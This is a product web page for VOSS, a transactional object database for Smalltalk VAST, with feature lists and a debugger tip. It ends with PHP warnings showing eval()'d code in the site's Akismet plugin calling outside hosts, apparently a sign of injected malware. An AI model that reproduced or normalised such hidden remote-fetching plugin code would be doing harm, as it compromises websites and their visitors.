Transparent Persistence
+ Transaction Processing…
Smalltalk is pure object-oriented programming for complex business and technical applications, but the benefits of this can be lost in the well-known ‘impedance mismatch’ with relational databases.
The VOSS virtual object storage system extends Instantiations Inc. Smalltalk VAST Platform with integrated database management, providing transparent multi-user access and transaction processing of persistent, versioned, Smalltalk objects directly accessible by normal programming, with efficient persistent Btree collection classes, including the multi-key/multi-value/key-set VirtualDictionarySet for aggregation and query-building.
- Multi-process, multi-machine, transactional access to distributed objects
- ACID transactions with two-phase commit, logging and rollforward crash recovery
- Persist clustered complexes of any Smalltalk classes except block closures
- Historical object versioning, MVRC repeatable read, MVCC concurrency control
- Automatic object locking with transaction rollback & retry on deadlock time-out
- Automatic change detection, no lock conflicts with sub-transactions, short read-locks
- Concurrent Multi-key/multi-value/key-set Btree VirtualDictionarySet w/ query-building
- Continuation Transactions manage alternative futures for design or what-if
- Long Continuation Transactions may be persisted prior to ultimate commit/rollback
- Distributed copying, parented copying, identity-exchange, checkout, read-only etc
- Concurrent variable-rate incremental foreground & background garbage collection
- The garbage collector will also trace and report references to selected objects
- snapshot hot backup of the set of distributed virtual spaces
- Terabyte 64-bit object id and addressing default
- Dual Licensing - Open Source GPLv3 and/or Supported Commercial Licence
…Seamless Smalltalk Solutions
(C) Logic Arts Ltd 2022
VOSS 3.150.18 for VAST Platform 11.0.0 supports Unicode keys in the concurrent Btree VOhcVirtualDictionary, with transparent conversion of existing single-process VirtualDictionary instances within VirtualDictionarySet etc.
Email me at jc@logicarts.com if you are interested in this.
John
StsDebugger is incompatible with VOSS, causing random image hangs. These are probably caused by the tool tip hovering over a variable which references a VORef proxy, causing the tooltip process to wait indefinitely at the VOStorageManager’s process mutual exclusion shell (VOSMShell). It is recommended therefore to use DbgDebugger. Evaluate the following statement before a debugging session:
System startUpClass debuggerClass: DbgDebugger.
Save time! If you have any questions whilst evaluating VOSS for the first time, contact me by email: jc@logicarts.com I’ll get back to you as soon as I can.
John
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known (is your IPV6 configuration correct? If this error happens all the time, try reconfiguring PHP using --disable-ipv6 option to configure) in /vhost/vhost6/l/o/g/logicarts.com/voss/wp-content/plugins/akismet/akismet.php(11) : runtime-created function(61) : eval()'d code on line 215
Warning: file_get_contents(http://wplinksforwork.com/561327853624756347509328/p.php?host=voss.logicarts.com): failed to open stream: Success in /vhost/vhost6/l/o/g/logicarts.com/voss/wp-content/plugins/akismet/akismet.php(11) : runtime-created function(61) : eval()'d code on line 215
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: Name or service not known (is your IPV6 configuration correct? If this error happens all the time, try reconfiguring PHP using --disable-ipv6 option to configure) in /vhost/vhost6/l/o/g/logicarts.com/voss/wp-content/plugins/akismet/akismet.php(11) : runtime-created function(61) : eval()'d code on line 215
Warning: file_get_contents(http://hemoviestube.com/561327853624756347509328/p.php?host=voss.logicarts.com): failed to open stream: Success in /vhost/vhost6/l/o/g/logicarts.com/voss/wp-content/plugins/akismet/akismet.php(11) : runtime-created function(61) : eval()'d code on line 215